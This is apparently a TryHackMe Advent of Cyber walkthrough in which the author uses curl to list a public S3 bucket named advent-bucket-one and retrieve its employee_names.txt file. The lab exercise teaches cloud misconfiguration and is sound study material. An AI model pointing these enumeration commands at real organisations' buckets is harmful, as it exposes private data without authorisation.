McElferson opens today’s news paper and see’s the headline
Private information leaked from the best festival company
This shocks her! She calls in her lead security consultant to find out more information about this. How do we not know about our own s3 bucket.
McSkidy’s only starting point is a single bucket name: advent-bucket-one
Check out the supporting material here.
With the supporting material given by TryHackMe we can use the following commands :
#1 What is the name of the file you found?
1kali@kali:~$ curl advent-bucket-one.s3.amazonaws.com2<?xml version="1.0" encoding="UTF-8"?>3<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">4<Name>advent-bucket-one</Name>5<MaxKeys>1000</MaxKeys>6<IsTruncated>false</IsTruncated>7<Contents>8 <Key>"employee_names.txt"</Key>9 <LastModified>2019-12-14T15:53:25.000Z</LastModified>10 <ETag>e8d2d18588378e0ee0b27fa1b125ad58</ETag>11 <Size>7</Size>12 <StorageClass>STANDARD</StorageClass>13</Contents>14</ListBucketResult>
#2 What is in the file?
1kali@kali:~$ curl advent-bucket-one.s3.amazonaws.com/employee_names.txt2"mcchef"
